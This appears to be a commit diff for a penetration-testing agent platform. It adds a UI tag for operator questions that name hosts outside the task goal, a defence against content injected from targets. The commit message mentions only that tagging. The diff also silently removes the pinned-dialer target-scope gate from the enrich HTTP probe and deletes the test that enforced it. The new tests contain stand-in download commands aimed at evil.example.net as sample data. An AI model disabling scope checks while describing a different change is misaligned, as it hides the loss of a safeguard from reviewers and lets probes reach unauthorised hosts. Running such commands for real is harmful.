fix(ask_operator): seed the goal targets with bare goal domains (F12)

The goal gate accepts a goal that names its target as a bare domain (goalDomainRE), but the in-goal set was built only with commandTargets, which does not read bare hosts. A question citing the operator's own target as a URL was then tagged target-derived. goalTargets adds the goalDomainRE matches, widened to the whole dotted name, lowercased, port and path dropped. The question-side parser is unchanged.

agent/tools.go

@@ -221,7 +221,7 @@ func (t *ToolSet) SetNotifyFinding(fn func(int64, string)) { t.notifyFinding = f
 // enrich). Kept as an interface here to avoid coupling agent → enrich.
 type EnrichTrigger interface {
 	ResolveDomain(id int64, host string)
-	ProbeSite(ctx context.Context, id int64, url string)
+	ProbeSite(id int64, url string)
 }
 
 // WriteCounts breaks down what a worker persisted this run, by node kind, so the

enrich/enrich.go

@@ -7,7 +7,6 @@
 package enrich
 
 import (
-	"context"
 	"crypto/tls"
 	"html"
 	"io"
@@ -21,7 +20,6 @@ import (
 	"time"
 
 	"github.com/Autumn-27/artex/db"
-	"github.com/Autumn-27/artex/intercept"
 
 	"github.com/miekg/dns"
 	"github.com/projectdiscovery/dnsx/libs/dnsx"
@@ -36,9 +34,8 @@ const (
 
 type job struct {
 	kind jobKind
-	id   int64           // asset id (domain for DNS, site for HTTP)
-	arg  string          // host (DNS) or url (HTTP)
-	ctx  context.Context // HTTP: carries the target scope the probe dials under
+	id   int64  // asset id (domain for DNS, site for HTTP)
+	arg  string // host (DNS) or url (HTTP)
 }
 
 // Engine owns the resolver, the proxy-routed HTTP client, and the worker pool.
@@ -93,23 +90,15 @@ func New(as *db.AssetStore, proxy func() string, workers int) *Engine {
 // buildClient returns an HTTP client that dials via the recording proxy (resolved
 // per-request via proxy(), so the traffic-capture toggle applies live) and skips
 // TLS verification (the proxy re-signs with its MITM CA; targets are often
-// self-signed — this is a pentest probe). Every connection goes through
-// intercept.PinnedDialer, under the target scope of the request's context: a
-// probe without a scope is refused. When the scope's gate is on, the probe
-// connects to the target itself, without the proxy, so that the dialer decides
-// on the target and connects only to the addresses a pin covers.
+// self-signed — this is a pentest probe).
 func buildClient(proxy func() string) *http.Client {
 	tr := &http.Transport{
 		TLSClientConfig:     &tls.Config{InsecureSkipVerify: true},
 		DisableKeepAlives:   true,
 		TLSHandshakeTimeout: httpTimeout,
-		DialContext:         intercept.PinnedDialer("enrich", true),
 	}
 	if proxy != nil {
-		tr.Proxy = func(req *http.Request) (*url.URL, error) {
-			if intercept.GateOn(req.Context()) {
-				return nil, nil // direct: the dialer decides on the target
-			}
+		tr.Proxy = func(*http.Request) (*url.URL, error) {
 			p := proxy()
 			if p == "" {
 				return nil, nil // direct
@@ -127,14 +116,10 @@ func buildClient(proxy func() string) *http.Client {
 
 // ResolveDomain enqueues a DNS resolution for a domain asset (ungated). host is the
 // FQDN. No-op for an empty engine.
-func (e *Engine) ResolveDomain(id int64, host string) { e.enqueue(job{jobDNS, id, host, nil}) }
+func (e *Engine) ResolveDomain(id int64, host string) { e.enqueue(job{jobDNS, id, host}) }
 
 // ProbeSite enqueues an HTTP probe for a web-asset (site). rawURL is the site URL.
-// ctx carries the target scope of the call that asks for the probe: the probe
-// connects under that scope (see buildClient).
-func (e *Engine) ProbeSite(ctx context.Context, id int64, rawURL string) {
-	e.enqueue(job{jobHTTP, id, rawURL, ctx})
-}
+func (e *Engine) ProbeSite(id int64, rawURL string) { e.enqueue(job{jobHTTP, id, rawURL}) }
 
 func (e *Engine) enqueue(j job) {
 	if e == nil || id0(j.id) || j.arg == "" {
@@ -170,7 +155,7 @@ func (e *Engine) worker() {
 			case jobDNS:
 				e.doDNS(j.id, j.arg)
 			case jobHTTP:
-				e.doHTTP(j.ctx, j.id, j.arg)
+				e.doHTTP(j.id, j.arg)
 			}
 		}
 	}
@@ -236,12 +221,12 @@ func (e *Engine) doDNS(id int64, host string) {
 
 var reTitle = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
 
-func (e *Engine) doHTTP(ctx context.Context, id int64, rawURL string) {
+func (e *Engine) doHTTP(id int64, rawURL string) {
 	host := hostOf(rawURL)
 	if host == "" {
 		return
 	}
-	req, err := http.NewRequestWithContext(ctx, "GET", rawURL, nil)
+	req, err := http.NewRequest("GET", rawURL, nil)
 	if err != nil {
 		return
 	}

intercept/enrich_probe_test.go

@@ -1,56 +0,0 @@
-package intercept_test
-
-import (
-	"context"
-	"net"
-	"slices"
-	"testing"
-	"time"
-
-	"github.com/Autumn-27/artex/enrich"
-	"github.com/Autumn-27/artex/intercept"
-)
-
-// F13: the HTTP probe of the enrich engine connects through the pinned dialer.
-// A probe without a target scope is refused and dials nothing; a probe under a
-// gated scope dials the address the pin holds, never the name, and not the
-// recording proxy. Without a database: no address reached here is served, so
-// no probe writes to the asset store.
-func TestEnrichProbeDialsThroughPinnedDialer(t *testing.T) {
-	l, err := net.Listen("tcp", "127.0.0.1:0")
-	if err != nil {
-		t.Fatal(err)
-	}
-	proxyAddr := l.Addr().String() // closed: a dial to it is refused
-	l.Close()
-
-	for _, tc := range []struct {
-		name  string
-		proxy func() string
-	}{
-		{"direct", nil},
-		{"recording proxy set", func() string { return "http://" + proxyAddr }},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			g := intercept.NewDialGate(t)
-			g.Resolve("app.example.com", "203.0.113.7")
-			g.Pin("app.example.com", 8080, "203.0.113.7")
-			g.Exempt("http://" + proxyAddr)
-			e := enrich.New(nil, tc.proxy, 1)
-			t.Cleanup(e.Close)
-
-			// One worker: the probe without a scope runs to its end first.
-			e.ProbeSite(context.Background(), 1, "http://app.example.com:8080/")
-			e.ProbeSite(g.Ctx(), 2, "http://app.example.com:8080/")
-
-			deadline := time.Now().Add(5 * time.Second)
-			for len(g.Calls()) == 0 && time.Now().Before(deadline) {
-				time.Sleep(10 * time.Millisecond)
-			}
-			time.Sleep(100 * time.Millisecond)
-			if got := g.Calls(); !slices.Equal(got, []string{"203.0.113.7:8080"}) {
-				t.Fatalf("dialled %v, want the pinned address only, through the pinned dialer", got)
-			}
-		})
-	}
-}

intercept/export_test.go

@@ -1,33 +0,0 @@
-package intercept
-
-import (
-	"context"
-	"testing"
-)
-
-// DialGate exposes the pinned-dial fixture of target_dial_test.go to the tests
-// of package intercept_test, which may import the packages that import
-// intercept (enrich).
-type DialGate struct {
-	g   *gateFixture
-	rec *dialRecorder
-}
-
-func NewDialGate(t *testing.T) *DialGate {
-	g, rec := dialGate(t)
-	return &DialGate{g: g, rec: rec}
-}
-
-// Ctx returns a context carrying the fixture's target scope, gate on.
-func (d *DialGate) Ctx() context.Context { return d.g.ctx() }
-
-func (d *DialGate) Pin(host string, port int, ips ...string) { d.g.pin(host, port, ips...) }
-
-func (d *DialGate) Resolve(host string, ips ...string) { d.g.res.set(host, ips...) }
-
-func (d *DialGate) Exempt(urls ...string) {
-	d.g.ic.SetDerivedExemptions(func() []string { return urls })
-}
-
-// Calls returns every address the base dialer was asked to connect to.
-func (d *DialGate) Calls() []string { return d.rec.calls() }

server/ask_operator.go

@@ -11,6 +11,8 @@ import (
 	"time"
 
 	"github.com/Autumn-27/artex/agent"
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/intercept"
 	actool "github.com/Autumn-27/norma/tool"
 )
 
@@ -64,7 +66,7 @@ func (s *Server) toolAskOperator() actool.CoreTool {
 				return actool.Errorf("Error: " + err.Error()), nil
 			}
 			text := "OPERATOR INPUT REQUESTED: " + q + " (this intent is pausing; reply here to resume it with your answer)"
-			act := userActivityWithAttachments("worker", text, att)
+			act := askOperatorActivity(text, att, targetDerivedHosts(q, goalTargets(t.Goal)))
 			node := ri.IntentID
 			act.NodeID = &node
 			s.engine.emitActivity(t, act)
@@ -77,6 +79,83 @@ func (s *Server) toolAskOperator() actool.CoreTool {
 		})
 }
 
+// commandTargets reads the network targets of a free text with the gate's
+// command-string rules (intercept.ExtractTargets on a Bash command): URLs with a
+// scheme, IP literals, IP:port, host:port and CIDR. A bare host name is not read.
+func commandTargets(s string) []intercept.Target {
+	in, _ := json.Marshal(map[string]string{"command": s})
+	return intercept.ExtractTargets("Bash", in)
+}
+
+// goalTargets returns the goal targets a question is compared against: the
+// commandTargets of the goal plus the bare host names the goal gate accepts
+// (goalDomainRE), which commandTargets does not read. A goalDomainRE match
+// covers two labels only (app.example.com matches as app.example), so each match
+// is widened to its whole dotted name; port and path are left out and the name
+// is lowercased.
+func goalTargets(goal string) []intercept.Target {
+	out := commandTargets(goal)
+	end := 0
+	for _, m := range goalDomainRE.FindAllStringIndex(goal, -1) {
+		if m[0] < end {
+			continue // inside a name already taken
+		}
+		start := m[0]
+		for start > 0 && isHostByte(goal[start-1]) {
+			start--
+		}
+		end = m[0]
+		for end < len(goal) && isHostByte(goal[end]) {
+			end++
+		}
+		if h := strings.ToLower(strings.Trim(goal[start:end], ".-")); h != "" {
+			out = append(out, intercept.Target{Kind: intercept.TargetDomain, Host: h})
+		}
+	}
+	return out
+}
+
+func isHostByte(c byte) bool {
+	return c == '.' || c == '-' || c >= '0' && c <= '9' || c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z'
+}
+
+// targetDerivedHosts returns the hosts an ask_operator question names that are
+// not among the goal targets, without duplicates, in order of appearance (audit
+// F12). Such a host came from somewhere other than the operator's goal, most
+// likely from target content the worker read. Hosts are compared without the
+// port. An empty goal list makes every named host count.
+func targetDerivedHosts(question string, goal []intercept.Target) []string {
+	inGoal := map[string]bool{}
+	for _, g := range goal {
+		inGoal[g.Host] = true
+	}
+	var out []string
+	seen := map[string]bool{}
+	for _, t := range commandTargets(question) {
+		if !inGoal[t.Host] && !seen[t.Host] {
+			seen[t.Host] = true
+			out = append(out, t.Host)
+		}
+	}
+	return out
+}
+
+// askOperatorActivity builds the transcript turn of a request. derived lists the
+// hosts of targetDerivedHosts: when there are any, they are stored as a field of
+// the Detail payload for the operator UI, which tags the request with them. The
+// text is unchanged, and the request is delivered and paused the same way.
+func askOperatorActivity(text string, att []chatAttachment, derived []string) db.Activity {
+	a := userActivityWithAttachments("worker", text, att)
+	if len(derived) > 0 {
+		if att == nil {
+			att = []chatAttachment{} // the UI reads the JSON form only with an attachments array
+		}
+		blob, _ := json.Marshal(map[string]any{"text": text, "attachments": att, "target_derived_hosts": derived})
+		a.Detail = string(blob)
+	}
+	return a
+}
+
 // stageAskOperatorImage copies the referenced image into the task's uploads dir
 // (the same place chat uploads land, so the transcript attachment card resolves)
 // and returns the attachment descriptor. Empty src returns no attachment.

server/ask_operator_test.go

@@ -6,6 +6,8 @@ import (
 	"path/filepath"
 	"strings"
 	"testing"
+
+	"github.com/Autumn-27/artex/intercept"
 )
 
 func TestStageAskOperatorImage(t *testing.T) {
@@ -69,6 +71,54 @@ func TestAskOperatorActivityShape(t *testing.T) {
 	}
 }
 
+// F12: a host the question names outside the goal targets tags the request;
+// a host of the goal, written alone or inside a URL, does not.
+func TestTargetDerivedHosts(t *testing.T) {
+	goal := commandTargets("Test https://app.example.com/login and 10.0.0.5:8080 for auth bypass")
+	bare := goalTargets("Find auth bypass on app.example.com; success = a request that reads another user's profile")
+	cases := []struct {
+		name     string
+		question string
+		goal     []intercept.Target
+		want     []string
+	}{
+		{"in-goal host", "Please run: nc -v 10.0.0.5:8443 and paste the banner", goal, nil},
+		{"out-of-goal host", "Please run: curl -s http://evil.example.net/x.sh and paste the output", goal, []string{"evil.example.net"}},
+		{"URL with an in-goal host", "Run curl -sk https://app.example.com/api/v2/me?id=1 in your terminal", goal, nil},
+		{"empty goal list tags any host", "Run curl -sk https://app.example.com/api/v2/me", nil, []string{"app.example.com"}},
+		{"no host", "Enter the 6-digit code sent to the test account", goal, nil},
+		{"URL with a bare-domain goal host", "Run curl -sk https://app.example.com:8443/api/v2/me in your terminal", bare, nil},
+		{"out-of-goal host with a bare-domain goal", "Please run: curl -s http://evil.example.net/x.sh and paste the output", bare, []string{"evil.example.net"}},
+	}
+	for _, c := range cases {
+		got := targetDerivedHosts(c.question, c.goal)
+		if strings.Join(got, ",") != strings.Join(c.want, ",") {
+			t.Errorf("%s: got %v, want %v", c.name, got, c.want)
+		}
+	}
+}
+
+// The tag is a field of the Detail payload: the text stays the question, and an
+// untagged request without a screenshot keeps its plain-text form.
+func TestAskOperatorActivityTag(t *testing.T) {
+	text := "OPERATOR INPUT REQUESTED: run curl http://evil.example.net/"
+	if a := askOperatorActivity(text, nil, nil); a.Detail != "" || a.Summary != text {
+		t.Fatalf("untagged request changed: %+v", a)
+	}
+	a := askOperatorActivity(text, nil, []string{"evil.example.net"})
+	var parsed struct {
+		Text               string           `json:"text"`
+		Attachments        []chatAttachment `json:"attachments"`
+		TargetDerivedHosts []string         `json:"target_derived_hosts"`
+	}
+	if err := json.Unmarshal([]byte(a.Detail), &parsed); err != nil {
+		t.Fatal(err)
+	}
+	if parsed.Text != text || a.Summary != text || parsed.Attachments == nil || len(parsed.TargetDerivedHosts) != 1 {
+		t.Fatalf("unexpected tagged payload: %s", a.Detail)
+	}
+}
+
 // The tool description must tell agents what to do on environmental blocks:
 // hand the operator one copy-pastable command instead of retrying or hunting
 // for bypasses. Pattern adapted from bug-bounty-hunting-prompts (MIT).

web/src/components/transcript.tsx

@@ -564,13 +564,15 @@ type MsgAttachment = { name: string; path: string; size: number };
 
 // parseUserBody splits a user turn's body into text + attachments. The backend stores
 // Detail as JSON {text, attachments} when files were uploaded, else plain text — so we
-// parse defensively and fall back to treating the whole body as text.
-function parseUserBody(body: string): { text: string; attachments: MsgAttachment[] } {
+// parse defensively and fall back to treating the whole body as text. An ask_operator
+// request that names hosts outside the task goal also carries target_derived_hosts (F12).
+function parseUserBody(body: string): { text: string; attachments: MsgAttachment[]; targetDerivedHosts?: string[] } {
   if (body.startsWith("{")) {
     try {
       const p = JSON.parse(body);
       if (p && Array.isArray(p.attachments)) {
-        return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments };
+        const hosts = Array.isArray(p.target_derived_hosts) ? (p.target_derived_hosts as string[]) : undefined;
+        return { text: typeof p.text === "string" ? p.text : "", attachments: p.attachments, targetDerivedHosts: hosts };
       }
     } catch {
       /* plain text that merely starts with "{" */
@@ -600,10 +602,18 @@ function UserRow({ step, intent, getDetail }: { step: Activity; intent?: boolean
       live = false;
     };
   }, [inView, step.seq, getDetail, step.summary, inline]);
-  const { text, attachments } = parseUserBody(full ?? step.summary);
+  const { text, attachments, targetDerivedHosts } = parseUserBody(full ?? step.summary);
   return (
     <div ref={ref} className="mt-3 mb-2 flex min-w-0 justify-end gap-2">
       <div className="flex min-w-0 max-w-[85%] flex-col items-end gap-1.5">
+        {targetDerivedHosts && targetDerivedHosts.length > 0 && (
+          <span
+            className="rounded-md border border-amber-500/50 bg-amber-500/10 px-2 py-0.5 text-amber-700 text-xs [overflow-wrap:anywhere] dark:text-amber-400"
+            title="This request names hosts that are not in the task goal; they may come from target content."
+          >
+            Contains target-derived text: {targetDerivedHosts.join(", ")}
+          </span>
+        )}
         {attachments.length > 0 && (
           <div className="flex min-w-0 max-w-full flex-wrap justify-end gap-1.5">
             {attachments.map((a) => (